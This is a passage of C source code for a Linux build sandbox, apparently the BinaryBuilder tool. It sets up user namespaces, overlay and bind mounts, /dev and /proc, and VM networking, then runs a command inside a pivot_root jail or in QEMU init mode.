struct map_list *workspaces;
// Helper function to search our linked lists of volume mappings
struct map_list * find_map_path(struct map_list * root, const char * map_path) {
if (root == NULL) {
return NULL;
}
if (strcmp(root->map_path, map_path) == 0) {
return root;
}
return find_map_path(root->prev, map_path);
}
// This keeps track of our execution mode
enum {
UNPRIVILEGED_CONTAINER_MODE,
PRIVILEGED_CONTAINER_MODE,
INIT_MODE,
};
static int execution_mode;
// These track plan 9 filesystem mounting options. This is mostly for debugging performance issues.
int plan9_msize = 1024*1024;
const char * plan9_cache = "fscache";
static const char * get_plan9_opts() {
static char plan9_opts[1024] = {0};
if( plan9_opts[0] == 0 ) {
snprintf(plan9_opts, sizeof(plan9_opts), "trans=virtio,version=9p2000.L,cache=%s,access=any,msize=%d,noatime", plan9_cache, plan9_msize);
}
return &plan9_opts[0];
}
/**** General Utilities ***/
/* Like assert, but don't go away with optimizations */
static void _check(int ok, int line) {
if (!ok) {
fprintf(stderr, "At line %d, ABORTED (%d: %s)!\n", line, errno, strerror(errno));
fflush(stdout);
fflush(stderr);
_exit(1);
}
}
#define check(ok) _check(ok, __LINE__)
/* Opens /proc/%pid/%file */
static int open_proc_file(pid_t pid, const char *file, int mode) {
char path[PATH_MAX];
int n = snprintf(path, sizeof(path), "/proc/%d/%s", pid, file);
check(n >= 0 && n < sizeof(path));
int fd = open(path, mode);
check(fd != -1);
return fd;
}
/* `touch` a file; create it if it doesn't already exist. */
static void touch(const char * path) {
int fd = open(path, O_RDONLY | O_CREAT, S_IRUSR | S_IRGRP | S_IROTH);
close(fd);
}
/* Make all directories up to the given directory name. */
static void mkpath(const char * dir) {
// If this directory already exists, back out.
DIR * dir_obj = opendir(dir);
if( dir_obj ) {
closedir(dir_obj);
return;
}
// Otherwise, first make sure our parent exists. Note that dirname()
// clobbers its input, so we copy to a temporary variable first. >:|
char dir_dirname[PATH_MAX];
strncpy(dir_dirname, dir, PATH_MAX);
mkpath(dirname(&dir_dirname[0]));
// then create our directory
int result = mkdir(dir, 0777);
check((0 == result) || (errno == EEXIST));
}
static int num_subdirs(const char * path) {
DIR * dir_obj = opendir(path);
check(dir_obj != NULL);
int num_dirs = 0;
struct dirent *dir_ent;
while (dir_ent = readdir(dir_obj)) {
// Skip hidden things like `.` and `..`
if (dir_ent->d_name[0] == '.') {
continue;
}
if (dir_ent->d_type == DT_DIR) {
num_dirs++;
}
}
return num_dirs;
}
/**** User namespaces *****
*
* For a general overview on user namespaces, see the corresponding manual page
* user_namespaces(7). In general, user namespaces allow unprivileged users to
* run privileged executables, by rewriting uids inside the namespaces (and
* in particular, a user can be root inside the namespace, but not outside),
* with the kernel still enforcing access protection as if the user was
* unprivilged (to all files and resources not created exclusively within the
* namespace). Absent kernel bugs, this provides relatively strong protections
* against misconfiguration (because no true privilege is ever bestowed upon
* the sandbox). It should be noted however, that there were such kernel bugs
* as recently as Feb 2016. These were sneaky privilege escalation bugs,
* rather unimportant to the use case of BinaryBuilder, but a recent and fully
* patched kernel should be considered essential for any security-sensitive
* work done on top of this infrastructure).
*/
static void configure_user_namespace(uid_t uid, gid_t gid, pid_t pid) {
int nbytes = 0;
if (verbose) {
fprintf(stderr, "--> Mapping %d:%d to root:root within container namespace\n", uid, gid);
}
// Setup uid map
int uidmap_fd = open_proc_file(pid, "uid_map", O_WRONLY);
check(uidmap_fd != -1);
char uidmap[100];
nbytes = snprintf(uidmap, sizeof(uidmap), "0\t%d\t1\n", uid);
check(nbytes > 0 && nbytes <= sizeof(uidmap));
check(write(uidmap_fd, uidmap, nbytes) == nbytes);
close(uidmap_fd);
// Deny setgroups
int setgroups_fd = open_proc_file(pid, "setgroups", O_WRONLY);
char deny[] = "deny";
check(write(setgroups_fd, deny, sizeof(deny)) == sizeof(deny));
close(setgroups_fd);
// Setup gid map
int gidmap_fd = open_proc_file(pid, "gid_map", O_WRONLY);
check(gidmap_fd != -1);
char gidmap[100];
nbytes = snprintf(gidmap, sizeof(gidmap), "0\t%d\t1", gid);
check(nbytes > 0 && nbytes <= sizeof(gidmap));
check(write(gidmap_fd, gidmap, nbytes) == nbytes);
}
/*
* Mount an overlayfs from `src` onto `dest`, anchoring the changes made to the overlayfs
* within the folders `root_dir`/upper and `root_dir`/work. Note that the common case of
* `src` == `dest` signifies that we "shadow" the original source location and will simply
* discard any changes made to it when the overlayfs disappears. This is how we protect our
* rootfs and shards when mounting from a local filesystem, as well as how we convert a
* read-only rootfs and shards to a read-write system when mounting from squashfs images.
*/
static void mount_overlay(const char * src, const char * dest, const char * bname,
const char * work_dir, uid_t uid, gid_t gid) {
char upper[PATH_MAX], work[PATH_MAX], opts[3*PATH_MAX+28];
// Construct the location of our upper and work directories
snprintf(upper, sizeof(upper), "%s/upper/%s", work_dir, bname);
snprintf(work, sizeof(work), "%s/work/%s", work_dir, bname);
// If `src` or `dest` is "", we actually want it to be "/", so adapt here because
// this is the only place in the code base where we actually need the slash at the
// end of the directory name.
if (src[0] == '\0') {
src = "/";
}
if (dest[0] == '\0') {
dest = "/";
}
if (verbose) {
fprintf(stderr, "--> Mounting overlay of %s at %s (modifications in %s, workspace in %s)\n", src, dest, upper, work);
}
// Make the upper and work directories
mkpath(upper);
mkpath(work);
// Construct the opts, mount the overlay
snprintf(opts, sizeof(opts), "lowerdir=%s,upperdir=%s,workdir=%s", src, upper, work);
check(0 == mount("overlay", dest, "overlay", 0, opts));
// Chown this directory to the desired UID/GID, so that it doesn't look like it's
// owned by "nobody" when we're inside the sandbox.
check(0 == chown(dest, uid, gid));
}
static void mount_procfs(const char * root_dir, uid_t uid, gid_t gid) {
char path[PATH_MAX];
// Mount procfs at <root_dir>/proc
snprintf(path, sizeof(path), "%s/proc", root_dir);
if (verbose) {
fprintf(stderr, "--> Mounting procfs at %s\n", path);
}
// Attempt to unmount a previous /proc if it exists
check(0 == mount("proc", path, "proc", 0, ""));
// Chown this directory to the desired UID/GID, so that it doesn't look like it's
// owned by "nobody" when we're inside the sandbox. We allow this to fail, as
// sometimes we're trying to chown() something we don't own.
chown(path, uid, gid);
}
static void bind_mount(const char * dest, const char *src) {
if (verbose) {
fprintf(stderr, "--> Bind-mounting %s over %s\n", src, dest);
}
touch(dest);
check(0 == mount(src, dest, "", MS_BIND, NULL));
}
/*
* We use this method to get /dev in shape. If we're running as init, we need to
* mount full-blown devtmpfs at /dev. If we're just a sandbox, we only bindmount
* /dev/{tty,null,urandom,pts,ptmx} into our root_dir.
*/
static void mount_dev(const char * root_dir) {
char path[PATH_MAX];
// Mount devtmps at /dev
if (execution_mode == INIT_MODE) {
snprintf(path, sizeof(path), "%s/dev", root_dir);
if (verbose) {
fprintf(stderr, "--> Mounting /dev at %s\n", path);
}
check(0 == mount("devtmpfs", path, "devtmpfs", 0, ""));
// Create /dev/pts directory
snprintf(path, sizeof(path), "%s/dev/pts", root_dir);
check(0 == mkdir(path, 0600));
} else {
// Bindmount /dev/null into our root_dir
snprintf(path, sizeof(path), "%s/dev/null", root_dir);
bind_mount(path, "/dev/null");
// Bindmount /dev/tty into our root_dir
snprintf(path, sizeof(path), "%s/dev/tty", root_dir);
bind_mount(path, "/dev/tty");
// If the host has a /dev/urandom, expose that to the sandboxed process as well.
if (access("/dev/urandom", F_OK) == 0) {
snprintf(path, sizeof(path), "%s/dev/urandom", root_dir);
bind_mount(path, "/dev/urandom");
}
// Do the same for /dev/pts and /dev/ptmx
snprintf(path, sizeof(path), "%s/dev/pts", root_dir);
mkpath(path);
check(0 == mount("devpts", path, "devpts", 0, "ptmxmode=0666"));
snprintf(path, sizeof(path), "%s/dev/pts/ptmx", root_dir);
char ptmx_dst[PATH_MAX];
snprintf(ptmx_dst, sizeof(ptmx_dst), "%s/dev/ptmx", root_dir);
bind_mount(ptmx_dst, path);
}
}
static void mount_workspaces(struct map_list * workspaces, const char * dest) {
char path[PATH_MAX];
// Apply command-line specified workspace mounts
struct map_list *current_entry = workspaces;
while( current_entry != NULL ) {
char *inside = current_entry->map_path;
// take the path relative to root_dir
while (inside[0] == '/') {
inside = inside + 1;
}
snprintf(path, sizeof(path), "%s/%s", dest, inside);
// map <inside> to the given outside path
if (verbose) {
fprintf(stderr, "--> workspacing %s to %s\n", current_entry->outside_path, path);
}
// create the inside directory, not freaking out if it already exists.
mkpath(path);
if (strncmp("9p/", current_entry->outside_path, 3) == 0) {
// If we're running as init within QEMU, the workspace is a plan 9 mount
check(0 == mount(current_entry->outside_path+3, path, "9p", 0, get_plan9_opts()));
} else {
// We don't expect workspace to have any submounts in normal operation.
// However, for runshell(), workspace could be an arbitrary directory,
// including one with sub-mounts, so allow that situation.
check(0 == mount(current_entry->outside_path, path, "", MS_BIND | MS_REC, NULL));
}
current_entry = current_entry->prev;
}
}
static const char * coalesce_shard_paths(const char * shard_dir_path) {
static char cpath[5*PATH_MAX];
DIR * dir_obj = opendir(shard_dir_path);
check(NULL != dir_obj);
// Reset coalesced path to zero...
cpath[0] = '\0';
size_t csp_len = 0;
struct dirent * dir_ent;
while (dir_ent = readdir(dir_obj)) {
const char * shard_name = dir_ent->d_name;
// Skip hidden folders (including '.' and '..')
if (shard_name[0] == '.' || dir_ent->d_type != DT_DIR) {
continue;
}
csp_len += snprintf(&cpath[csp_len], sizeof(cpath) - csp_len, ":%s/%s", shard_dir_path, shard_name);
}
// &[1] to skip the first comma. :P
return &cpath[1];
}
/*
* This will mount the rootfs and shards within the given root directory.
* `root_dir` is the path where the rootfs is mounted on the outside.
* `dest` is the path where the roofs and all should be mounted
* `shard_maps` is the list of mappings that we've been told to mount.
*/
static void mount_rootfs_and_shards(const char * root_dir, const char * dest,
const char * work_dir, struct map_list * shard_maps,
uid_t uid, gid_t gid) {
// The first thing we do is create an overlay mounting sandbox_root into our root_dir.
// The meaning of this is different across our different execution modes:
// * Init mode: root_dir is "/", dest is "/tmp" because we need a read-writeable
// rootfs, but it's already mounted as our root.
// * Privileged mode: root_dir is the path to the already loopback-mounted rootfs
// image, we are mounting it as an overlay within `dest`, a new directory that we
// will chroot into, then clone ourselves into a userns within.
// * Unprivileged mode: root_dir is the path to the already loopback-mounted rootfs
// image, we are mounting it as an overlay within `dest`, a new directory that we
// have already entered into within a userns.
mount_overlay(root_dir, dest, "rootfs", work_dir, uid, gid);
// We're definitely gonna do some path manipulation
char path[PATH_MAX];
/// Apply command-line specified mounts
struct map_list *current_entry = shard_maps;
while (current_entry != NULL) {
char *inside = current_entry->map_path;
// take the path relative to dest
while (inside[0] == '/') {
inside = inside + 1;
}
snprintf(path, sizeof(path), "%s/%s", dest, inside);
// map <inside> to the given outside path
if (verbose) {
fprintf(stderr, "--> mapping %s to %s\n", current_entry->outside_path, path);
}
// create all directories leading up to our `path`, not freaking out if any
// of them exist. This is important, otherwise if we try to mount things in
// new and exciting places, we are unable to.
mkpath(path);
if (strncmp(current_entry->outside_path, "/dev", 4) == 0) {
// if we're running on qemu, we pass mounts in as virtual devices, which we
// know are always passed-through .squashfs files.
check(0 == mount(current_entry->outside_path, path, "squashfs", 0, ""));
} else if (strncmp(current_entry->outside_path, "9p/", 3) == 0) {
// if we're running on qemu, we pass in mappings as plan 9 shares
check(0 == mount(current_entry->outside_path+3, path, "9p", MS_RDONLY, get_plan9_opts()));
} else {
// if it's a normal directory, just bind mount it in
check(0 == mount(current_entry->outside_path, path, "", MS_BIND, NULL));
// remount to read-only, nodev, suid.
// we only really care about read-only, but we need to make sure
// to be stricter than our parent mount. if the parent mount is
// noexec, we're out of luck, since we do need to execute these
// files. however, we don't really have a need for suid (only one
// uid) or device files (none in the image), so passing those extra
// flags is harmless. if, we ever cared in the future, the thing
// to do would be to read /proc/self/fdinfo or the directory, find
// the mnt_id and extract the correct flags from /proc/self/mountinfo.
check(0 == mount(current_entry->outside_path, path, "",
MS_BIND|MS_REMOUNT|MS_RDONLY|MS_NODEV|MS_NOSUID, NULL));
}
current_entry = current_entry->prev;
}
// Each mapping is putting things into places like /opt/<target>/GCC-v8.1.0,
// or /opt/<target>/BaseCompilerShard-v2018.08.27, etc... We're going to
// coalesce each /opt/<target> directory together into a single overlayfs here.
char opt_path[PATH_MAX];
snprintf(opt_path, sizeof(opt_path), "%s/opt", dest);
DIR *opt = opendir(opt_path);
// If there's no /opt directory, then don't try to coalesce them
if (opt != NULL) {
// Iterate over /opt
struct dirent *opt_ent;
while (opt_ent = readdir(opt)) {
// Skip hidden files (including '.' and '..')
if (opt_ent->d_name[0] == '.') {
continue;
}
// target_path will be things like /opt/x86_64-linux-gnu
char target_path[PATH_MAX];
snprintf(target_path, sizeof(target_path), "%s/opt/%s", dest, opt_ent->d_name);
// If there are multiple subdirectories in this directory, then coalesce them!
int subdirs = num_subdirs(target_path);
if (subdirs > 1) {
// Coalesce things such that we're building overlays that go from:
// "/opt/<target>/foo,/opt/<target>/bar" -> "/opt/<target>"
mount_overlay(coalesce_shard_paths(target_path), target_path, basename(target_path), work_dir, uid, gid);
} else if (subdirs == 1) {
// If there's only one subdirectory, then just bind-mount it back directly:
DIR *subdir_obj = opendir(target_path);
const char * subdir_name = NULL;
while (subdir_name == NULL) {
struct dirent *subdir_ent = readdir(subdir_obj);
if (subdir_ent->d_name[0] == '.' || subdir_ent->d_type != DT_DIR) {
continue;
}
subdir_name = subdir_ent->d_name;
}
char subdir_path[PATH_MAX];
snprintf(subdir_path, PATH_MAX, "%s/%s", target_path, subdir_name);
check(0 == mount(subdir_path, target_path, "", MS_BIND, NULL));
}
}
}
}
/*
* Helper function that mounts pretty much everything:
* - procfs
* - our overlay work directory
* - the rootfs,
* - the shards
* - the workspace (if given by the user)
*
* If we're running in normal mode, `root_dir` and `dest` are both the same,
* pointing to the rootfs directory. If we're running as `init`, they are
* "" and "/tmp", respectively.
*/
static void mount_the_world(const char * root_dir, const char * dest,
struct map_list * workspaces, struct map_list * shard_maps,
uid_t uid, gid_t gid) {
// Mount the place we'll put all our overlay work directories
if (verbose) {
fprintf(stderr, "--> Creating overlay workdir at /proc\n");
}
check(0 == mount("tmpfs", "/proc", "tmpfs", 0, "size=1G"));
// Next, overlay all the things
mount_rootfs_and_shards(root_dir, dest, "/proc", shard_maps, uid, gid);
// Mount /proc within the sandbox
mount_procfs(dest, uid, gid);
// Mount /dev stuff
mount_dev(dest);
// Mount all our read-write mounts (workspaces)
mount_workspaces(workspaces, dest);
// Once we're done with that, put /proc back in its place in the big world.
mount_procfs("", uid, gid);
}
/****** 3: Networking ******
*
* This section sets up networking. To do so, it instructs the kernel
* netwokring subsystem to set the appropriate data structures. The ip
* address is set using SIOCSIFADDR (set netdevice(7)). The default gateway
* is set using the route subsytem (see rtnetlink(7)). The commands we perform
* are roughly:
*
* // Find out what the name of the network interface is
* ipconfig eth0 10.0.2.3
* ifup eth0
* ip route add default via 10.0.2.2
*
* But rather than going through the hassle of requiring those external
* commands to be present, we just do it through the kernel API, which
* while a bit cumbersome is quite useable.
*/
void buf_put(char **cur_buf_pos, void *data, size_t size)
{
memcpy(*cur_buf_pos, data, size);
*cur_buf_pos += size;
}
void buf_put_attr_header(char **cur_buf_pos, uint16_t opt, size_t size)
{
struct rtattr attr = {.rta_type = opt,
.rta_len = size + sizeof(struct rtattr)};
buf_put(cur_buf_pos, &attr, sizeof(struct rtattr));
}
void buf_put_attr(char **cur_buf_pos, uint16_t opt, void *data, size_t size)
{
buf_put_attr_header(cur_buf_pos, opt, size);
buf_put(cur_buf_pos, data, size);
*cur_buf_pos += RTA_ALIGN(size) - size;
}
#define htonl(x) __bswap_32(x)
void setup_vm_networking()
{
// Network settings - We hardcode these for convenience.
uint32_t ipaddr = htonl(0x0a000203); // 10. 0. 2. 3
uint32_t netmask = htonl(0xffffff00); // 255.255.255. 0
uint32_t gateway = htonl(0x0a000202); // 10. 0. 2. 2
// Open connections to the network and routing
// kernel subsystems.
int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);
int inetfd = socket(AF_INET, SOCK_DGRAM, 0);
struct iovec iov;
struct sockaddr_nl kernel_addr;
memset(&kernel_addr, 0, sizeof(struct sockaddr_nl));
kernel_addr.nl_family = AF_NETLINK;
struct msghdr hdr = {.msg_name = &kernel_addr,
.msg_namelen = sizeof(struct sockaddr_nl),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = 0,
.msg_controllen = 0,
.msg_flags = 0};
// Find the first non-loopback interface
struct ifreq req;
int i;
for (i = 1; i < 5; ++i)
{
req.ifr_ifindex = i;
check(0 == ioctl(inetfd, SIOCGIFNAME, &req));
check(0 == ioctl(inetfd, SIOCGIFFLAGS, &req));
if ((req.ifr_flags & IFF_LOOPBACK) == 0)
break;
}
// We now have the name of the interface in req.ifr_name.
req.ifr_addr.sa_family = AF_INET;
// Set IP address (ifconfig eth0 <addr>)
memcpy(&((struct sockaddr_in *)&req.ifr_addr)->sin_addr,
&ipaddr, sizeof(uint32_t));
check(0 == ioctl(inetfd, SIOCSIFADDR, &req));
// Set netmask
memcpy(&((struct sockaddr_in *)&req.ifr_addr)->sin_addr,
&netmask, sizeof(uint32_t));
// Bring up the interface
check(0 == ioctl(inetfd, SIOCGIFFLAGS, &req));
req.ifr_flags |= IFF_UP | IFF_RUNNING;
check(0 == ioctl(inetfd, SIOCSIFFLAGS, &req));
// Ask the kernel to set up the default gateway
// (ip route add default via <gateway>)
char *cur_buf_p;
char **cur_buf_pos = &cur_buf_p;
size_t msg_len = sizeof(struct nlmsghdr) + sizeof(struct rtmsg) + sizeof(struct rtattr) +
sizeof(uint32_t);
struct nlmsghdr nlhdr;
memset(&nlhdr, 0, sizeof(struct nlmsghdr));
nlhdr.nlmsg_type = RTM_NEWROUTE;
nlhdr.nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL;
nlhdr.nlmsg_len = msg_len;
nlhdr.nlmsg_seq = 1;
struct rtmsg msg;
memset(&msg, 0, sizeof(struct rtmsg));
msg.rtm_family = AF_INET;
msg.rtm_table = RT_TABLE_MAIN;
msg.rtm_protocol = RTPROT_STATIC;
msg.rtm_scope = RT_SCOPE_UNIVERSE;
msg.rtm_type = RTN_UNICAST;
char buf[msg_len];
cur_buf_p = buf;
buf_put(cur_buf_pos, &nlhdr, sizeof(nlhdr));
buf_put(cur_buf_pos, &msg, sizeof(msg));
buf_put_attr(cur_buf_pos, RTA_GATEWAY, &gateway, sizeof(uint32_t));
iov.iov_base = buf;
iov.iov_len = msg_len;
check(msg_len == sendmsg(fd, &hdr, 0));
check(-1 != recvmsg(fd, &hdr, 0));
errno = -((struct nlmsgerr *)&(((struct nlmsghdr *)buf)[1]))->error;
check(((struct nlmsghdr *)buf)->nlmsg_type != NLMSG_ERROR || errno == 0);
close(inetfd);
close(fd);
}
/*
* Sets up the chroot jail, then executes the target executable.
*/
static int sandbox_main(const char * root_dir, const char * new_cd, int sandbox_argc, char **sandbox_argv) {
pid_t pid;
int status;
// One of the few places where we need to not use `""`, but instead expand it to `"/"`
if (root_dir[0] == '\0') {
root_dir = "/";
}
// Use `pivot_root()` to avoid bad interaction between `chroot()` and `clone()`,
// where we get an EPERM on nested sandboxing.
check(0 == chdir(root_dir));
if (syscall(SYS_pivot_root, ".", ".") == 0) {
check(0 == umount2(".", MNT_DETACH));
check(0 == chdir("/"));
} else {
check(0 == chroot(root_dir));
}
// If we've got a directory to change to, do so, possibly creating it if we need to
if (new_cd) {
mkpath(new_cd);
check(0 == chdir(new_cd));
}
// When the main pid dies, we exit.
pid_t main_pid;
if ((main_pid = fork()) == 0) {
if (verbose) {
fprintf(stderr, "About to run `%s` ", sandbox_argv[0]);
int argc_i;
for( argc_i=1; argc_i<sandbox_argc; ++argc_i) {
fprintf(stderr, "`%s` ", sandbox_argv[argc_i]);
}
fprintf(stderr, "\n");
}
execve(sandbox_argv[0], sandbox_argv, environ);
fprintf(stderr, "ERROR: Failed to run %s!\n", sandbox_argv[0]);
// Flush to make sure we've said all we're going to before we _exit()
fflush(stdout);
fflush(stderr);
_exit(1);
}
// Let's perform normal init functions, handling signals from orphaned
// children, etc
sigset_t waitset;
sigemptyset(&waitset);
sigaddset(&waitset, SIGCHLD);
sigprocmask(SIG_BLOCK, &waitset, NULL);
for (;;) {
int sig;
sigwait(&waitset, &sig);
pid_t reaped_pid;
while ((reaped_pid = waitpid(-1, &status, 0)) != -1) {
if (reaped_pid == main_pid) {
// If it was the main pid that exited, return as well.
return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
}
}
}
}
static void print_help() {
fputs("Usage: sandbox --rootfs <dir> [--cd <dir>] ", stderr);
fputs("[--map <from>:<to>, --map <from>:<to>, ...] ", stderr);
fputs("[--workspace <from>:<to>, --workspace <from>:<to>, ...] ", stderr);
fputs("[--verbose] [--help] <cmd>\n", stderr);
fputs("\nExample:\n", stderr);
fputs(" BB=$(echo ~/.julia/v0.6/BinaryBuilder/deps)\n", stderr);
fputs(" P=/usr/local/bin:/usr/bin:/bin:/opt/x86_64-linux-gnu/bin\n", stderr);
fputs(" mkdir -p /tmp/workspace\n", stderr);
fputs(" PATH=$P /tmp/sandbox --verbose --rootfs $BB/root --workspace /tmp/workspace:/workspace --cd /workspace --map $BB/shards/x86_64-linux-gnu:/opt/x86_64-linux-gnu /bin/bash\n", stderr);
}
// Helper function to read from the serial file descriptor, blocking until we
// can read the requested number of bytes.
void read_blocking(int fd, char * buff, int num_bytes) {
int bytes_read = 0;
// Keep reading until we have num_bytes
while(bytes_read != num_bytes) {
usleep(1);
int b = read(fd, buff + bytes_read, num_bytes - bytes_read);
if( b != -1 ) {
bytes_read += b;
}
}
}
// We have a special way of reading in arguments when running as init,
// where we read from a fake serial device.
static void read_sandbox_args(int fd, int * argc, char *** argv) {
// First, read the number of sandbox args:
*argc = 0;
read_blocking(fd, (char *)argc, sizeof(int));
// We need to pretend that argv[0] is "sandbox", and we need a NULL ending
*argc += 1;
// Allocate and read in those args
*argv = malloc(sizeof(char *) * (*argc + 1));
(*argv)[0] = "/sandbox";
int arg_idx;
for( arg_idx=1; arg_idx<(*argc); ++arg_idx ) {
int arg_len = 0;
read_blocking(fd, (char *)&arg_len, sizeof(int));
(*argv)[arg_idx] = malloc(arg_len + 1);
read_blocking(fd, (*argv)[arg_idx], arg_len);
(*argv)[arg_idx][arg_len] = '\0';
}
(*argv)[*argc] = NULL;
}
// We have a special way of creating a useful environment when running as init,
// where we read in the environment variables from a fake serial device.
static void read_sandbox_env(int fd) {
// Clear the current environment. No inheriting variables from QEMU!
clearenv();
int num_env_mappings = 0;
read_blocking(fd, (char *)&num_env_mappings, sizeof(int));
if (verbose) {
fprintf(stderr, "Reading %d environment mappings\n", num_env_mappings);
}
int env_buff_len = 1024;
char * env_buff = malloc(env_buff_len + 1);
int arg_idx;
for( arg_idx=0; arg_idx<num_env_mappings; ++arg_idx ) {
int arg_len = 0;
read_blocking(fd, (char *)&arg_len, sizeof(int));
// We guess that each environment mapping will be 1K or less,
// but if we're wrong, bump the buffer size up.
if( arg_len > env_buff_len) {
env_buff_len = arg_len;
env_buff = realloc(env_buff, env_buff_len + 1);
}
// Read the environment mapping into env_buff
read_blocking(fd, env_buff, arg_len);
env_buff[arg_len] = '\0';
// Find `=`, use it to chop env_buff in half,
char * equals = strchr(env_buff, '=');
check(equals != NULL);
equals[0] = '\0';
// Grab our name and value, feed that into setenv():
setenv(env_buff, equals + 1, 1);
}
free(env_buff);
}
static void sigint_handler() { _exit(0); }
/*
* Let's get this party started.
*/
int main(int sandbox_argc, char **sandbox_argv) {
int status;
pid_t pgrp = getpgid(0);
int cmdline_fd = -1;
// First, determine our execution mode based on pid and euid (allowing for override)
const char * forced_mode = getenv("FORCE_SANDBOX_MODE");
if (forced_mode != NULL) {
if (strcmp(forced_mode, "init") == 0) {
execution_mode = INIT_MODE;
} else if (strcmp(forced_mode, "privileged") == 0) {
execution_mode = PRIVILEGED_CONTAINER_MODE;
} else if (strcmp(forced_mode, "unprivileged") == 0) {
execution_mode = UNPRIVILEGED_CONTAINER_MODE;
} else {
fprintf(stderr, "ERROR: Unknown FORCE_SANDBOX_MODE argument \"%s\"\n", forced_mode);
_exit(1);
}
} else {
if (getpid() == 1 ) {
execution_mode = INIT_MODE;
} else if(geteuid() == 0) {
execution_mode = PRIVILEGED_CONTAINER_MODE;
} else {
execution_mode = UNPRIVILEGED_CONTAINER_MODE;
}
// Once we're inside the sandbox, we can always use "unprivileged" mode, since
// we've got mad permissions inside; so just always do that.
setenv("FORCE_SANDBOX_MODE", "unprivileged", 0);
}
uid_t uid = getuid();
gid_t gid = getgid();
// If we're running inside of `sudo`, we need to grab the UID/GID of the calling user through
// environment variables, not using `getuid()` or `getgid()`. :(
const char * SUDO_UID = getenv("SUDO_UID");
if (SUDO_UID != NULL && SUDO_UID[0] != '\0') {
uid = strtol(SUDO_UID, NULL, 10);
}
const char * SUDO_GID = getenv("SUDO_GID");
if (SUDO_GID != NULL && SUDO_GID[0] != '\0') {
gid = strtol(SUDO_GID, NULL, 10);
}
// Hide these from children so that we don't carry the outside UID numbers into
// nested sandboxen; that would cause problems when we refer to UIDs that don't exist.
unsetenv("SUDO_UID");
unsetenv("SUDO_GID");
// If we're running in init mode, we need to do some initial startup; we need to mount /proc,
// and we need to read in our command line arguments over a virtual serial device, since we
// have no other way for Julia to speak to us running inside of qemu.
if (execution_mode == INIT_MODE) {
// Extract our command line from the second serial device created by BinaryBuilder.jl
const char * comm_dev = "/dev/vport0p1";
cmdline_fd = open(comm_dev, O_RDWR);
if( cmdline_fd == -1 ) {
// This is a debugging escape hatch for us developers that aren't clever enough and
// somehow screw up the Julia <---> qemu <---> sandbox communication channel.
fprintf(stderr, "Running as init but couldn't open %s; entering debugging mode!\n", comm_dev);
sandbox_argc = 5;
sandbox_argv = malloc(sizeof(char *)*(sandbox_argc + 1));
sandbox_argv[0] = "/sandbox";
sandbox_argv[1] = "--verbose";
sandbox_argv[2] = "--workspace";
sandbox_argv[3] = "9p/workspace:/workspace";
sandbox_argv[4] = "/bin/bash";
sandbox_argv[5] = NULL;
} else {
// If we have a communication channel, then let's read in our argc and argv!
read_sandbox_args(cmdline_fd, &sandbox_argc, &sandbox_argv);
}
}
// Parse out options
while(1) {
static struct option long_options[] = {
{"help", no_argument, NULL, 'h'},
{"verbose", no_argument, NULL, 'v'},
{"rootfs", required_argument, NULL, 'r'},
{"workspace", required_argument, NULL, 'w'},
{"cd", required_argument, NULL, 'c'},
{"map", required_argument, NULL, 'm'},
{0, 0, 0, 0}
};
int opt_idx;
int c = getopt_long(sandbox_argc, sandbox_argv, "", long_options, &opt_idx);
// End of options
if( c == -1 )
break;
switch( c ) {
case '?':
case 'h':
print_help();
return 0;
case 'v':
verbose = 1;
fprintf(stderr, "verbose sandbox enabled (running in ");
switch (execution_mode) {
case INIT_MODE:
fprintf(stderr, "init");
break;
case UNPRIVILEGED_CONTAINER_MODE:
fprintf(stderr, "un");
case PRIVILEGED_CONTAINER_MODE:
fprintf(stderr, "privileged container");
break;
}
fprintf(stderr, " mode)\n");
break;
case 'r': {
sandbox_root = strdup(optarg);
size_t sandbox_root_len = strlen(sandbox_root);
if (sandbox_root[sandbox_root_len-1] == '/' ) {
sandbox_root[sandbox_root_len-1] = '\0';
}
if (verbose) {
fprintf(stderr, "Parsed --rootfs as \"%s\"\n", sandbox_root);
}
} break;
case 'c':
new_cd = strdup(optarg);
if (verbose) {
fprintf(stderr, "Parsed --cd as \"%s\"\n", new_cd);
}
break;
case 'w':
case 'm': {
// Find the colon in "from:to"
char *colon = strchr(optarg, ':');
check(colon != NULL);
// Extract "from" and "to"
char *from = strndup(optarg, (colon - optarg));
char *to = strdup(colon + 1);
if ((from[0] != '/') && (strncmp(from, "9p/", 3) != 0)) {
fprintf(stderr, "ERROR: Outside path \"%s\" must be absolute or 9p! Ignoring...\n", from);
break;
}
// Construct `map_list` object for this `from:to` pair
struct map_list *entry = (struct map_list *) malloc(sizeof(struct map_list));
entry->map_path = to;
entry->outside_path = from;
// If this was `--map`, then add it to `maps`, if it was `--workspace` add it to `workspaces`
if (c == 'm') {
entry->prev = maps;
maps = entry;
} else {
entry->prev = workspaces;
workspaces = entry;
}
if (verbose) {
fprintf(stderr, "Parsed --%s as \"%s\" -> \"%s\"\n", c == 'm' ? "map" : "workspace",
entry->outside_path, entry->map_path);
}
} break;
default:
fputs("getoptlong defaulted?!\n", stderr);
return 1;
}
}
// Skip past those arguments
sandbox_argv += optind;
sandbox_argc -= optind;
// If we don't have a command, die
if (sandbox_argc == 0) {
fputs("No <cmd> given!\n", stderr);
print_help();
return 1;
}
// If we're not init but we haven't been given a sandbox root, die
if (!(execution_mode == INIT_MODE) && !sandbox_root) {
fputs("--rootfs is required, unless running as init!\n", stderr);
print_help();
return 1;
}
// If we are running as init, read in our mandated environment variables,
// then sub off to sandbox_main and finally reboot
if (execution_mode == INIT_MODE) {
read_sandbox_env(cmdline_fd);
// We've received all of our configuration data.
// Acknowledge receipt so that Julia know's we're up and running.
uint8_t ok = 0;
check(1 == write(cmdline_fd, &ok, sizeof(uint8_t)));
// Take over the terminal
setsid();
ioctl(0, TIOCSCTTY, 1);
// Let's mount our world. Since we're running as init, the rootfs is already mounted
// at "/", but it's read-only, so we use overlayfs to mount it on "/tmp". We then
// continue to mount our shards within "/tmp".
mount_the_world("", "/tmp", workspaces, maps, 0, 0);
// Enable networking
setup_vm_networking();
// Run sandbox_main to Enter The Sandbox (TM)
int result = sandbox_main("/tmp", new_cd, sandbox_argc, sandbox_argv);
// Send the exit status over to Julia, then close the sidechannel socket
check(sizeof(int) == write(cmdline_fd, &result, sizeof(int)));
// Don't forget to `sync()` so that we don't lose any pending writes to the filesystem!
sync();
// Goodnight, my sweet prince
close(cmdline_fd);
check(0 == reboot(RB_POWER_OFF));
